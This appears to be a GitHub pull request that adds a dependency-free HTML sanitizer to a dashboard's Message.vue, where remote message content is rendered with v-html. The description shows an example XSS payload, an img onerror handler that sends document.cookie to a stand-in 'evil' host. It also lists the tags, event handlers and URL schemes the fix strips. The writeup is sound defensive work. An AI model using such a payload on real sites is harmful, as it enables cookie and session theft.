fix: sanitize remote message content to prevent XSS - #1047
Open
Lakshya77089 wants to merge 1 commit into
Open
Lakshya77089 wants to merge 1 commit into
Lakshya77089 wants to merge 1 commit into
Conversation
The dashboard message supports fetching its content from a remote URL (message.url), and that content is rendered with v-html in Message.vue. Content coming from an endpoint is outside of the user's own config and should be treated as untrusted - a remote endpoint could return markup like <img src=x onerror=...> and run arbitrary JS in the dashboard. Add a small dependency-free sanitizer that strips script/style/iframe and similar tags, inline event handlers, and javascript:/data: URLs, and run it on the content fetched from the endpoint. HTML set directly in the local config keeps working unchanged.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
What
The dashboard "message" can fetch its content from a remote endpoint (
message.url), and that content is rendered withv-htmlinMessage.vue. Right now the fetched content is injected as-is, with no sanitization.Since the endpoint is a separate trust boundary from the user's own
config.yml, a remote message endpoint can return markup such as:{ "content": "<img src=x onerror=\"fetch('https://evil/'+document.cookie)\">" }and run arbitrary JavaScript in the dashboard origin (XSS). This is easy to hit in practice because people often point the message at a third-party/shared status service.
Fix
src/utils/sanitize.js) that:script/style/iframe/object/embed/linktags and HTML comments,on*),href/srcvalues that aren'thttp(s):,mailto:, relative, or#anchors (blockingjavascript:/data:).Message.vue.HTML set directly in the local
config.ymlis the user's own trusted input and is intentionally left untouched, so the documented "content accepts HTML" behavior keeps working.Notes
pnpm lintandpnpm buildboth pass.